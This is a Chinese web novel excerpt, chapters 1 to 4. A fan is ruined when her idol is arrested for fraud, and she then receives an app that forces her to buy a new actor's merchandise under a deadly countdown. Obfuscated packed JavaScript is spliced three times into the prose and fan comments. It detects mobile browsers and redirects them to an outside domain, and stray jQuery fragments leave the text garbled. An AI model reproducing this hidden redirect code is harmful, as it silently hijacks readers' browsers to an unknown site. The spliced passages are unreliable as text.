《只要跑得快，塌房就追不上我[娱乐圈]》 1. 第 1 章 “警方通报：近日，网传‘林某集资逃逸’‘林某诱拐未成年’等引发舆论关注热议，我局接报警后立即展开调查，10月11日晚，犯罪嫌疑人林某已被警方控制，后续相关情况，公安机关正在进一步调查。” 消息一出，评论区留言数立刻呈几何级增长，“林某被捕”的词条也迅速登顶微博热搜。 吃瓜网友们蜂拥而至。 【出道十年，今天估计是林业最红的一天了，以前他的粉丝天天想着要自家哥哥红，这下可算达成目标了吧，怎么不算一种特别的成功之路呢？】 【集资逃逸，诱拐未成年，我的天，真的每一个词都好小众。这种东西应该出现在娱乐版吗？】 【看到那个通报没？说警方是接到报警后才展开调查的，谁报的警啊，不会真的是他几个疯狂替他洗地的大粉吧？粉丝亲手送蒸煮进去了吗？】 【前两天我还刷到他的大粉要报警，说营销号造谣，还让他工作室告黑，说要把造谣的人都抓去坐牢，现在这算什么，求仁得仁？我的妈呀，这也太抓马了！】 【十年都没爆，这回一爆就爆了个大的，热搜前十他占了八个，今天这国民度，绝对是最高值。】 【我现在就像那个瓜田里的猹，一会儿看看这个，一会儿看看那个。】 凌钰有气无力地躺在床上，手上虽然还在无意识地刷着帖子，其实意识早就有些溃散了。 和这些凑热闹的网友不同，她正儿八经粉了林业十年，从他选秀出道的那一天起，不对，准确的说，甚至是他还没出道刚刚参加节目的那天，她就义无反顾地选择了他。 投票，做数据，买周边。 等他终于作为组合出道，又给他反黑，买专辑，买代言，买杂志。 再后来，他们的舞台机会越来越少，组合成员各自分开发展，林业也开始进军影视界，凌钰便跟着他继续转移战场。云包场，水弹幕，吹演技，还自学了一堆剪辑产出技能。 十年过去，林业离大爆总是差那么点意思，主演的电视剧水花都不太大，不过混得久了，好歹在圈子里也有了一定地位。 就在去年年中，他还发展了几项副业，开了一家金融公司，一家娱乐公司。 粉丝们都挺高兴，纷纷与有荣焉，改口喊他“林CEO”。 不少年轻粉丝选择直接加入他的娱乐公司做练习生，而凌钰作为他的十年老粉，则将全部家当投进了他名下的理财app。 支持偶像事业的同时自己还能赚点钱，也算一种共赢了。 她想得不错，刚开始时一切倒也正常，基金半年到期，第一笔返利顺利到账，可又过了半年，就在前两天，好多人都发现这第二笔钱迟迟不见踪影。等想要尝试提取本金时，居然连app都打不开了。 凌钰其实根本没想过做这个理财能赚多少钱，可她更没想过，这所谓的金融公司居然是他的偶像用来赚她钱的，他居然非法敛财！ 林业跑了，随之爆出的还有他那个娱乐公司竟涉及人口拐卖，简直是离谱他妈给离谱开门——离谱到家了。 十年的青春，十年的守护，她花费了那么多精力，用了那么多钱，结果换来的却是这样的结果。 明明十年前的他还不是这样的，那时他满脸稚嫩，眼中只有青涩，却又不失野心，会为了舞台上的一点小失误自责，拼命练习，会为了得到一点粉丝的支持开心，想要回馈给大家更多。 那一年，是这个男孩为追逐梦想所做的努力感动了她，她以为他会永远和当年一样，带着热爱脚步不停，所以好多次明明已经觉得有些不对，却还是选择坚定地相信他。 当局者迷，旁观者清。 那些网上的评价她从来不爱看，固执地认为那是对家在黑他，只自顾自待在工作室为他们这帮粉丝营造的乌托邦里，以为这些才是真的。结果一觉醒来，偶像塌了，她的天也塌了。 凌钰一夜没睡。 她不想睡，也睡不着，对家的嘲笑像巴掌似的在往她脸上狠狠地扇，只要闭上眼就会想起自己这些年像个傻子，最最关键的是，她现在银行卡里只剩二十块，想点外卖都达不到起送费，工资还要等到下个月十号才发…… 二十块钱倒也能买几个包子，可剩下的钱能干嘛？ 吃了上顿没下顿，追星追到她这个份儿上，都不是用“惨”就能形容的了。 手机上的那些字乱麻似的，脑袋也跟着嗡嗡作响，也不知道是用眼过度还是熬夜久了，也或者是饿的，她越看越觉得头晕，正要起身活动一下，眼前却忽然一黑，失去了意识。 * 再次醒来时，凌钰有点不知今夕是何夕的感觉。 也不知道她究竟是睡了多久，透过窗户往外看，天光大亮，阳光好得很。 本能地想要看一下时间，却发现手机不知道什么时候就掉到了床下，关机了。估计是昨天一直刷微博，后来屏幕也没关，导致电量耗尽。 凌钰坐起身来，拿了一旁的充电器插上，等待开机的过程中，心里却有些奇怪。明明睡前她还又晕又饿，难受得很，现在却不知道什么缘故，不仅不晕不饿，还十分生龙活虎。 轻快的音乐声吸引了她的注意，手机屏幕点亮，“10月14日上午9:00”这几个字张牙舞爪地映入眼帘，凌钰先是愣了一下，等再反应过来时，几乎是从床上弹了起来。 什么意思？ 她睡了整整两天？ 睡了两天她怎么还会这么有精神？怎么不饿？更要命的是，她睡了两天不上班，主管领导不得骂死她！ 连忙解锁屏幕，果然，才刚点进微信，一堆消息就疯狂弹了出来：“凌钰，迟到一天，这个月工资扣100。” “还不来上班？昨天的报告今天上午十点必须要交，我审核完上面领导还要审核，你人呢？” “无故旷工一天，扣工资500。” “凌钰，你在搞什么鬼？不想干了？你知不知道今天因为你，我们整组人都在重新赶报告，紧赶慢赶好不容易才在十点前交上去，工作这么不负责任，你究竟想干什么？” 接着一堆消息之后是最后一条，时间也停留在了昨天晚上9点。 上面写到：“看来你是找到好下家了，不过就算不干了也该提前交接工作吧？你连续两天无故旷工，已经严重违反公司规定。刚刚决定已经下来了，你被辞退了，这个月的工资月底会发，按实际工作时长。同事一场，后会无期。” 凌钰连忙要回信息解释，结果才编了个“对不起”点击发送，就发现对方那边已经变成了一个惊叹号。 现在经济效益不好，他们这个公司今年一直在裁员，凌钰本来觉得自己还能再坚持坚持，这下好，钱被偶像骗光了，她的工作还没了。睡之前吃了上顿没下顿，醒之后她只能喝西北风了。 有些崩溃地重新躺回床上，凌钰脑子里乱得很，正要锁屏再躺会儿，就忽然看到一个从没见过的app不知何时被安装到了她的手机上。 【识人】——这是什么东西？ 凌钰第一反应就是晚上睡觉时不知道碰了什么被动下载的流氓软件，根本没多想她就要点击删除，可长按图标半天，那黑底白字的“识人”摇头晃脑，不管往哪儿拖，就是没有删除选项。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913024|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 什么意思，就连手机都来欺负她？！ 凌钰来了脾气，索性关机又开机企图重试，结果这奇怪的app不知道为什么，不仅还是删不掉，甚至自己跑到了首页最显眼的位置。 诈骗软件？手机病毒？想到自己那可笑的20块余额，凌钰突然生出一种光脚的不怕穿鞋的匪气，她倒要看看这究竟是个什么。 手指刚刚轻点一下，那app便极其灵敏地被打开。 首先入眼的是一堆字—— 【识人】app使用说明： 1、初始资金1000元，仅可作为追星使用，不得提现，不可转让。 2、该资金所购明星代言不得自留，仅可免费赠送与同担，否则将视为无效。（演唱会门票、电影票等可自用） 3、系统内已使用资金将1:1返还至宿主银行卡，并附赠相应寿命。 4、若被投资明星塌房，将回收银行卡内相应资金及附赠寿命。 5、请于1小时内用清系统内标注金额，并将所购物品送出，否则宿主将在倒计时结束后死亡。 6、产品最终解释权归识人app所有。 下面还有一行小字：详情请进入具体页面在线咨询。 现在连骗人都一个比一个离谱了吗？好好好，偶像把她当傻子，看来大数据都识别到了。 而且这些要求更是充满了针对性，简直是来嘲讽她的，她自己就识人不清，不然至于落到现在这下场吗？ 凌钰随手关掉软件，根本不想再理会这疯了的手机，就看到屏幕最上方冒出一行醒目的倒计时： 1:00:00 0:59:59 …… 还装模作样倒计时上了。 她没去管，只打开通讯录想联系主管领导再稍微替自己争取一下，可电话刚拨过去她的心就凉了，看来对方不仅把她微信删了，还把电话也拉黑了，根本联系不上。 由此可见那天重新整理报告的事确实让对方气到直接炸开，否则也不至于绝情到这种地步。 就连平时跟她关系还算不错的几个同事，当时还发了消息来问，现在一个个回复，也都只剩下感叹号，哦，还有几个显示“消息已发出，但被对方拒收了“——打工人的怨念就是这么彪悍。 折腾了半天毫无进展，凌钰心里也知道这下恐怕是回天无力了。 好在她这个人心态好，就算到了这种时候也还能劝自己，算了，也就是重新找份工作的事，至少对方还答应会把这个月的工资给她…… 这么一耽误，屏幕上的倒计时已经来到了0：20：01，凌钰爬起身，打算先刷牙洗脸到外面去看看，下一秒，一股莫名的窒息感突然传来，呼吸逐渐困难，她只觉双腿一软，人已经瞬间倒回了床上。 手机上，那原本还算正常字体的倒计时陡然间无限放大，占据了整个屏幕。 0:19:59 0:19:58 …… 接着闪过一行大字，先是三个红色的惊叹号，后面写道： ！！！请宿主尽快完成任务，请宿主尽快完成任务，请宿主尽快完成任务。 否则您将在倒计时结束后死亡…… 你来真的啊阿珍？ 连忙点开识人app进入页面，果然看到最上方显示，已解锁资金：1000元，已使用资金：0元，返利：0元，下方红色的大字，依然是一分一秒不断流逝的倒计时。 自觉识人不清根本不确定能不能完成任务的凌钰垂死病中惊坐起。 来了，马上，不就是追星吗？她可以！ 2. 第 2 章 时间紧迫，说干就干。 现在的问题就是这一千块钱究竟要花给谁，凌钰脑子里一瞬间想了很多。 这些年她光顾着关心林业，娱乐圈里的大多数人于她而言都只能算是匆匆过客，虽然认识也知道代表作，但却并不了解他们的商务情况。 唯一比较清楚的反倒是林业的对家沈云峰，那位前段时间刚刚官宣了一个国民零食品牌。 凌钰边想边打开微博，还没来得及细看，私信就跟炸了似的疯狂跳出来。 一些是她的同担们向她哭诉，一些是吃瓜网友在线采访，剩下的密密麻麻，全都是对家粉丝的疯狂嘲讽谩骂和诅咒。 骂得太难听了，哪怕她的偶像确实不是个东西，但沈云峰的粉丝这副德行——粉随正主，他又能是什么好货？ 即使只有一千块钱，她也花不了一点。 除了单纯的厌恶，凌钰还觉得，这人迟早也要塌。 把这杀千刀的对家暂时抛到一边，考虑到“不能塌房”和“不得自留”两个条件，凌钰迅速在脑中寻找目标，暂时筛选出几个人来。 首先塌房这个事怎么说呢？ 不红的可能“糊作非为”，红了的也许更是变本加厉，但综合来看，上升期的艺人对自己的要求都会更高一点。粉丝们关注多，公司管得严，就连代拍也无孔不入，塌房的机率也更低。 而想要代言“不自留送同担”，这个人就还得有一定的粉丝量，否则到时候东西买了送不出去，或者来不及送出去，钱花光了任务却完成不了，她岂不是仍然只能等死？ 脑子里极速分辨，手上的动作也不停，快速将几个人的名字搜索之后，凌钰选中其中一位，点进某个链接，凑满一千块的东西迅速下单。 ——如果说刚才她对自己的情况还将信将疑，现在的她就不得不完全确信了不买东西就会死这件事，因为付款时，结算页面竟然真的自动跳转到了【识人】app，接着刷脸确认，购买成功。 做完这些，倒计时已经来到00:10:00。 还有最后十分钟，除了呼吸困难，这回连心跳都开始变得不规律起来。 她用仅剩的意志力截图购买记录，又用最快的速度重新注册了一个新的微博号，关注超话，进入超话，用标准格式发帖： #聂嘉远#njy#聂嘉远代言心盛咖啡# 刚刚购入十套聂嘉远代言的心盛咖啡小套盒，浅浅支持！ 前十位评论本条微博的小家园一人一套免费送，不包邮，同意且符合上述条件的直接私发我地址，快递到付，先到先得，谢谢！ @聂嘉远 下面配了一张打码且标了id号【我来追星了】的订单截图。 中奖条件简单，只要快速评论就好，家园则是聂嘉远的粉丝名，也算明确了中奖人的身份。 至于邮寄的事，因为不知道app返现的具体时间，只剩二十块现金的她实在没敢提包邮。 做完这一切，凌钰一口气险些上不来，手机终于再也握不住，就连刚刚还疯狂乱跳的心脏也有了即将罢工的趋势。 她无法控制地闭上了双眼—— 生死在此一招，希望聂嘉远的粉丝给力一点，救她一条狗命。 脑中似乎有很多声音，也似乎本就只剩混沌，不知道究竟过了多久，总之很清晰的，凌钰就是感受到了那种难以言喻的死气一点点退散，生机重新进入身体，她猛地睁开双眼。 没死，她还活着！ 连忙去看手机，屏幕上刺眼的倒计时已经消失，下意识刷新了一下微博界面，果然看到那条帖子下面多了不少评论，再看私信，刚好十条地址。 看来她没赌错，虽然东西买了还没有正经送出去，但此刻它们的所有人已经不是她，这个app还算人性化。 凌钰把地址一个个记下，这才切换到【识人】。 此时此刻，主页的信息已经发生了变化。 最上方的那行字变成了—— 解锁资金：1000元，已使用资金：1000元，返利：1000元 （正在打款中）。 下方的倒计时也没了，变成了一句话：恭喜您完成本次任务，获得附赠寿命1天，请您收货后尽快邮寄出不属于您的物品，否则将受到相应惩罚。祝您生活愉快。 刚才还很愉快的凌钰一下子就不愉快了。 什么意思，玩她？别的倒也算了，可她这一通忙活，才给自己赚了一天的命？ 而且这边给她活一天，那边还要她抓紧邮寄，她能不能活到自己收货的那天都难说…… 接二连三的打击逼得她终于忍不住狠狠辱骂了一番这贼老天，恨不得直接把手机给扔了，可下一秒看到跳出来的短信后，她却冷静下来。 算了。 银行卡到账了，一千块。 又能赚钱又能活，怎么看都是她赚，那还有什么可不满意的？ * 再次走出家门，凌钰有种很荒谬的时空错位的感觉。 短短几天，偶像塌了工作没了，身心俱疲倾家荡产，手机上多出来一个无比奇怪的app，她也在死亡边缘反复横跳。 本来还准备再找一份工作，现在一天到晚命在旦夕，干脆也别想了。 不过，虽然目前她的剩余寿命有点短，但凌钰也想得开，船到桥头自然直，后面的事后面再说，当前最重要的还是得填饱肚子。 她试着把银行卡里那一千块都转进支付宝，非常顺利，说明这的确是可以让她自由支配的金额，只是考虑到后面那个app不知道还会不会出什么别的难题，凌钰到底克制住了购物欲。 先去楼下的面馆吃了碗牛肉面，又买了几个牛肉包子准备回家放冰箱，看着剩下的九百多余额，凌钰想了想，干脆又去超市买了点菜和泡面，以备不时之需。 等再次回到家，已经是下午四点。 凌钰这才有时间坐下来，好好看一看手机上的信息。 微信里除了一些订阅的公众号，并没有别的人给她发消息，【识人】app也安安静静在首页待着，没再搞什么幺蛾子，倒是微博的小号多了十几个关注，之前的那条帖子下面也热闹得很。 【谢谢家园姐姐的咖啡，呜呜，我居然抢到了前十，今天的幸运是家园姐姐给的！】 【才发现这居然是个新号诶，都没关注聂嘉远就先关注了超话，格式啥的一点问题都没有，第一条帖子就是氪金抽奖，哈哈哈，这是哪家的粉丝爬墙到咱家来了？】 【怎么说呢，我其实也是爬墙来的，最近正好在看《凤凰记》，聂嘉远是演得真好，以前我都没觉得他帅，现在晚上做梦都是他的脸……】 【别提了，我抖音都刷不到我担了，全是聂嘉远在用眼神蔑视我，就喜欢他那种看垃圾的样子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913025|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越看我越来劲，哈哈哈！不说了，我也去买几单咖啡支持一下，喝了咖啡有精神，我还能继续熬！】 【你怎么知道聂嘉远在我抖音把我当垃圾似的看了一个星期了？】 【对不起我担，现在正是我溺爱聂嘉远的时候，今天我也下单咖啡了，别的不说，听说嘉远之前资源贼虐，现在好不容易有点水花了，贡献一点销量吧，也让那些人看看他的商业价值，希望将来能接到更好的剧本。】 凌钰看了一会儿就没再往下看，其实对这个聂嘉远，她最多只能算路好，但如果林业没塌房，她是绝对不可能为这个人花一分钱的。 但现在情况不一样了。 她现在是一个没有正主的野人。 《凤凰记》这部剧她也看了，剧情不算太惊艳，但聂嘉远在里面饰演的那位手掌大权的摄政王，演技却确实撑得起来。最出圈的一幕就是他和女主最初相遇时的场景，当时他骑着高头大马，居高临下施舍了一个眼神。 那个眼神很难用语言来形容，如果一定要形容的话，大概就是刚才有条评论里说的：仿佛在看垃圾。 演技没问题，圈子里风评还不错，凌钰先在超话里逛了一圈，除了做数据的，晒单咖啡的，剩下的基本都在花痴演技和长相。粉丝眼中的偶像永远完美，保险起见，凌钰还是又到广场上搜索了一下他的名字。 风平浪静。 她又在名字后面加了个关键字：考古。 这回跳出来的东西明显多了不少，不过与他戏里的形象非常不同，这位在现实生活中十分抽象，凌钰挑了几个营销号的剪辑看，基本都是他参加综艺时的集锦，还有一些则是他还没出道时的搞笑视频。 不管怎么说，看样子一时半会儿估计塌不了。 但现在不塌，却不代表他以后也不会塌。 凌钰想到【识人】使用说明里，有一条写的是“若被投资明星塌房，将回收银行卡内相应资金及附赠寿命”，具体情况她可能还真得再好好咨询一下。 点击app主页最下方的“在线咨询”按钮，画面切换，系统消息抢先弹出提示：“宿主您好，很高兴为您服务，请您详细描述想要咨询的问题，以便于解答，谢谢！” 凌钰想了想，问：“请问明星塌房具体包括哪些？” 对面反应很快，也不知道是机器人还是真人客服，总之这边刚发出去，那边就回道：“宿主您好，所谓明星塌房，是指您所投资的明星被公开爆料且核实的一切塌房事件及行为，包括但不限于其违反法律法规，违反职业道德，违反公序良俗，违反社会伦理等。” 凌钰又问：“请问他们要是塌房了，说要收回我的钱和命，具体是按什么标准，怎么收？总不可能明星一塌房我就死了吧？” 对面回道：“宿主您好，根据您所描述的问题，系统给予以下提示——” “如您当前所投资明星塌房，则将扣除您由投资该明星所获取实际资金总额的80%（不足后补），扣除您所获取附赠寿命余额的80%。” …… 她懂了，这意思就是她虽然不太容易死，但也不太容易活，而且很有可能负债累累，没有上限。 她就知道，世界上哪会有这种好事，又给命又送钱的，敢情在这等着她呢！ 不行。 凌钰灵机一动，又问：“那如果我在他们塌房前就脱粉了呢？” 3. 第 3 章 这回，对面没有立刻回答。 稍稍停顿了片刻，消息才弹出来：“如您在当前所投资明星塌房前脱粉，则所有扣除按40%计（其余同上）。” 哈！ 还能这样？ 凌钰激动之余，一下敏锐的察觉出这件事也许还有讨价还价的可能。 压抑住有些兴奋的心跳，她脑子转得飞快，一边斟词酌句，一边手指翻飞快速在聊天框里打字，再接再厉继续为自己争取。 “首先第一条，我认为明星塌房也分轻重，全部都按80%计很不合理；第二条，人都是多变的，就像林业他虽然现在塌了，却不能表示他十年前就不是东西，脱粉还要全按40%计，也不合理。请问是否可以进行调整？” 编辑完毕，点击发送！ 凌钰的视线完全集中，就等着看对面怎么回答。 然而不知道为什么，这一次，系统那头却许久都没有动静。 时间流逝，五分钟，十分钟……整整二十分钟过去了，凌钰的满腔期待也随之逐渐被失望填满。 看来提问可以，提意见却是要石沉大海的。 深深叹了口气，凌钰抬起头看着天花板发了会儿呆，一时感觉天道不公，一时又觉得算了，自己已经足够幸运，而且跟一个有着非自然能力的系统交涉能有什么结果？她也真是昏了头。 正要把屏幕关了扔到一边，结果下一秒，对面的回复竟接二连三地跳了出来。 “宿主您好，根据您的诉求，系统已做出以下调整——” “如您当前所投资明星塌房，则根据塌房程度扣除您由投资该明星所获取实际资金总额的60%—80%（不足后补），扣除您所获取附赠寿命余额的60%—80%。” “如您在当前所投资明星已有塌房行为，但未被爆塌房前脱粉，则所有扣除按40%计（其余同上）；如您在当前所投资明星有塌房行为前脱粉，则所有扣除按20%计（其余同上）。” “友情提示：脱粉需取消关注明星本人、明星超话、明星工作室、后援会等一切账号，并在公开场合（如微博账号等）发表脱粉声明。” “其他未尽之处，后续将根据实际情况补充，谢谢！” 有用，居然真的有用！凌钰差点没忍住仰天长笑。 谁说交涉没有结果？结果这不就来了？这么一看，对面搞不好还真有什么人工客服，那也许还有可能再商量商量。这么想着，凌钰干脆又试着发了一条：“塌房行为前脱粉，不能不扣吗？” 这次对面几乎秒回：“对不起，该诉求已被驳回。” 她想想，又发：“那之前条款的扣除还能再减吗？” 对面再次秒回：“对不起，该诉求已被驳回。” 看来就算要商量，也的确要是合理范围内的意见才会被考虑被采纳，凌钰差不多摸清套路，也就不再急于这一时，而是默默考虑起现在的情况来。 按照系统刚才所说，脱粉的流程是有点麻烦，毕竟公开发表声明，很有可能惹来不少舆论，但无论如何，这已经给了她解绑的机会，被她氪了金的明星不至于永远与她如影随形。 经历过林业这样的人，现在的凌钰对这个圈子是实在没底，她也真的做不到再一心一意相信某个人。 基于这样的想法，她又问了最后一个问题：“请问我可以同时投资几位明星？一定要脱粉前一个才能投资另一个吗？我可以有墙头吗？” 对面依旧秒回道：“宿主您好，目前您在同一时间段内仅可投资一位明星，后续投资名额将根据实际情况增加。此外您没有墙头，全是正主。” “特别提醒：因每次更换的人选都有塌房的可能，请谨慎选择正主，切勿轻易脱粉重选，否则造成的一切损失均由宿主本人承担，谢谢！” …… 算你狠。 虽然不能真的打一枪换一个地方那样恶意换人，但没关系，凌钰咬牙安慰自己，反正她已经准备好了，精准定位火眼金睛，居安思危警钟长鸣，到时候发现苗头不对立刻就跑，只要跑得快，塌房就追不上我！ * 吃完晚饭，舒舒服服洗了个热水澡，凌钰吹干头发重新躺回床上，才又拿起手机。 识人app仍然安安静静，不过打开主页，显示的内容却有了一些改变。已解锁资金和已使用资金，包括返利全都显示为“0”。 下方则增加了一栏，小小的人物头像旁标注着—— 正主1：聂嘉远。 状态：正常。 已返利总金额：1000元。 凌钰一时无言。 之前情况紧急，这位算得上临危受命，虽说自己对他还挺有好感，可真正说了解却很有限，除了看过几部电视剧和综艺，对方究竟是哪里人，哪个公司之类她其实都不太清楚。 现在却突然就成了她的“正主”。 不过即便系统不提醒，这圈子里到处是定时炸弹，凌钰一时半会也不打算轻易换人，想想干脆打开微博，非常有幽默精神地给自己主页简介改成了：“当前正主——聂嘉远。” 此时此刻，聂嘉远的超话里正热闹着。 《凤凰记》刚刚又更新了两集新的内容，不少粉丝正嗷嗷叫着舔屏，也有人在非常上头地讨论今天的剧情，而超话最上方的置顶链接里，则是一条最新的商务预告。 凌钰打开看了一眼，聂嘉远明早八点官宣嘉廷洗发水，有一套代言人专属礼盒九点开售，限量2万份，目前链接还没有放出来。 如果没有猜错，系统明早肯定会给她布置新的任务。 为了不再事到临头手忙脚乱，她先关注了聂嘉远本人，又关注了后援会账号，再关注了心盛咖啡和嘉廷洗发水，这才稍稍放了心。 她有点发愁，不知道即将到来的任务会是什么，而超话里也有人在发愁。 【凤凰记正好播到最精彩的地方，结果热搜全是那个林业，还有他那个对家沈云峰，连续好几天了一直霸榜，乱得跟锅粥一样，聂嘉远这么好的演技一个热搜都上不了，刚刚好不容易看到在上升榜，一眨眼就又掉没了。】 【还有心盛咖啡的宣传感觉也没做到位，聂嘉远粉丝是不是好多都初恋追星啊，超话数据一般般，商务卖得也不算好，昨天那个咖啡礼盒到现在还没卖完，今天新商务预热也晚。】 【确实，明天洗发水都要官宣要上了，刚才才发预热，感觉都没多少人知道。】 【家人们我好急啊，有没有什么办法能帮帮他啊！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913026|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 凌钰砸了砸嘴。 没有成熟的粉圈，没有带头的大粉，工作室跟不上演员爆红的速度，粉丝还停留在之前的佛系追星，这些都是问题。可惜她现在只是一个什么都没有的新号，就算说话恐怕也没人会响应，能做的唯有氪金，还得看系统能给多少预算。 又刷了一会儿聂嘉远之前的微博，纵观他这几年，甚至追溯到素人时期的言论，凌钰倒真的发现，这是个挺好的人。 比起林业混迹娱乐圈十年后表现出的老成，聂嘉远明显还带着年轻人特有的真诚。会和评论区的粉丝互动，会直接发博指责私生，会把剧组的流浪猫带回家养，会为被黑的艺人朋友解释，甚至自己也因此被网暴了整整一年。 这在凌钰看来都是很宝贵的品质，是后来的林业身上再也见不到的优点和光芒。 她从前是真的一叶障目，明明已经知道自己走进了死胡同却仍旧不甘心，非要不撞南墙不回头，结果呢，硬生生把自己给作成这样。 凌钰深吸了几口气，终于鼓起勇气再次打开热搜。 塌房的林业还在大战娱乐圈。 因为他实在塌得轰轰烈烈，几天了居然还挂在榜首，由他顺藤摸瓜，不仅仅是他所在工作室的公司，就连他从前那几个队友也没能幸免，被警方带走了一波人，估计和他的事都脱不了干系。 当然，其中还有几条比较醒目，正是他对家沈云峰的词条—— #沈云峰睡粉# #沈云峰脚踩多只船# #沈云峰录音你是我的唯一# #沈云峰粉丝 自家房子也塌了# 接下来的一条则更像是总结：#内娱完了# …… 凌钰今天从醒来起就忙着跟【识人】app斗智斗勇，又忙着研究聂嘉远一直折腾到现在，之前的那个微博号也再没有登陆过，还真不知道圈子里居然又发生了这么大的事。 她的第一反应就是这帮208究竟在搞什么？第二反应则是还好当时没给沈云峰投资，第三反应只剩下：他果然也不是个好东西。 没有谁会比你的敌人更了解你，就好像最了解林业的人都是沈云峰的粉丝一样，凌钰也早就觉得他家的几个大粉不太对劲，因为之前每次看她们发言都能感觉到一种浓浓的嫂子语气，根本不是一个正常粉丝该有的。 有时几个大粉之间还会阴阳怪气的吵架，气氛很是微妙。 原来那并不是什么嫂子语气，那都是真嫂子，就是嫂子有点多，不知道为什么在这个节骨眼也翻车了。 谁能想到呢，林业和沈云峰在待爆咖的席位里斗了八年，到头来连塌房都凑在了一起。 要是摆在从前，凌钰虽然不会去对方粉丝伤口上撒盐，但也免不了要拍手称快，可现在……大哥不笑二哥，爱啥啥吧，你们塌你们的，只要她的“正主”好好的就行了。 返回超话，想要再随便刷新看看，就看到名人动态那一栏显示：聂嘉远正在空降中。 这个词十分遥远，凌钰好像还是十年前那会曾经看到过，当时为了打投顺利，林业没少在超话空降翻牌，后来他顺利出道，越来越出名，就再也没有空降过超话了。 这感觉还挺新奇，凌钰伸出手，点进去看。 4. 第 4 章 在凌钰的记忆里，林业每次翻牌都是回复给他打投数量比较多的粉丝，跟大家说谢谢，说辛苦了，说自己会更加努力配得上所有人的喜欢，说想要站上更大的舞台，会给舞台最大的尊重。 但此刻的聂嘉远却像是在和粉丝聊家常。 他的粉丝似乎也早就习惯了，有的在分享自己晚上烧的菜，有的在给他看自家养的猫，还有的甚至在线问数学题—— 最关键的是他居然真的回复了，不仅用一张白纸写了一堆的计算过程和答案，还配文：不要照抄，看懂之后自己试着做，好好学习，等考试结束分数出来后再来告诉我。 被翻牌的粉丝激动得难以言表，先发了一大堆的“啊”，才又连续回复：“好的！一定听哥哥的！我这次肯定考个好成绩，不给家园们丢人！” “呜呜呜，聂嘉远你怎么这么好啊！粉你真是粉对人了！” “这道题目我们班好多人都不会，老师也说挺难的，没想到哥哥这么厉害，这么快就做出来了，还标注得这么详细！我也要努力，希望有一天也能成为像哥哥这么厉害的人！” 聂嘉远大概也看到了，居然又回了一条：“加油！” 这情绪价值给的。 凌钰一时间心情复杂，真不知道以前自己追着林业跑的时候吃的是什么苦，为什么非要没苦硬吃。 还好都过去了。 潜水围观了好久，她并没有立刻跟着发帖，直到聂嘉远终于下线，她看了一眼时间，竟然已经过了十点，这才没敢再耽误，赶紧关闭屏幕把手机充上电，准备睡觉。 * 这一夜，凌钰睡得很不踏实。 一会儿梦到自己还在公司加班，成堆的材料堆在桌上，好不容易把报告写得大差不差，可还没来得及保存，电脑居然死机了。 一会儿梦到林业龇牙咧嘴地在演霸道总裁，他满脸认真地捏着女主的下额，用刻意压低的气泡音说道：“女人，你在玩火！” 一会儿甚至梦到聂嘉远也塌房了。 最后梦境变幻，手机里的系统再次布置了新的任务，可随着那红色的倒计时越来越接近，她明明买了东西却无法支付成功…… “滴——滴——滴——” 警告声越来越急，越来越响，凌钰猛地睁开双眼，这才发现声音近在咫尺，根本不是在做梦。 消息疯狂提示，倒计时已经开始。 01:59:00 01:58:59 …… 【识人】app的弹窗一条接一条跳动着，凌钰仅剩的那点睡意终于彻底消散，意识回笼，她吓得一骨碌从床上坐起身，连忙解锁屏幕打开程序，就看到首页的内容已经再次发生了改变。 最新任务：本次解锁资金10000元，请于2小时内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后死亡。 任务内容差得并不算多，不同的则是除了金额和时间的增加，这次系统还明显多了些限制条件。 凌钰昨晚睡前看过自己先前那条抽奖博，的确有人提出了质疑。 其中一条就说，之前那十位中奖的人当中，有两个自称是家园的人，一个明显是《凤凰记》男女主的cp粉，一个甚至都还没关注超话，并不能完全确认身份，而且抢楼抽奖毕竟没有经过后台，还是缺少了点公信力。 当时事态紧急，凌钰不得不用最快的方法抽奖把东西送出去，系统大概也是知道这个难处，看在她是第一次做任务的份儿上并没有上纲上线追究。 但今天再发布任务，明显就更加规范起来。 两个小时，她的时间还算充裕。 眼前这一万块钱看着多，其实真买起来估计也不是很经花，嘉廷洗发水昨天没有提前公布商品价格，但代言人礼盒这种东西凌钰还是知道一点的，一套少说也该在四五百左右，贵一点的七八百都有可能。 毕竟主打的就是一个割粉丝韭菜，自然是怎么狠怎么来。 添几张小卡，加几个周边，商家卖得心安理得，粉丝买得心甘情愿，代言人的商业价值还能在同时被很好地印证，由此让三方都满意，达到一个三赢的效果。 十年，这种事她早就已经驾轻就熟。 已经是上午八点五十六分，凌钰打开官微链接，然而这一次，她却又愣住了。 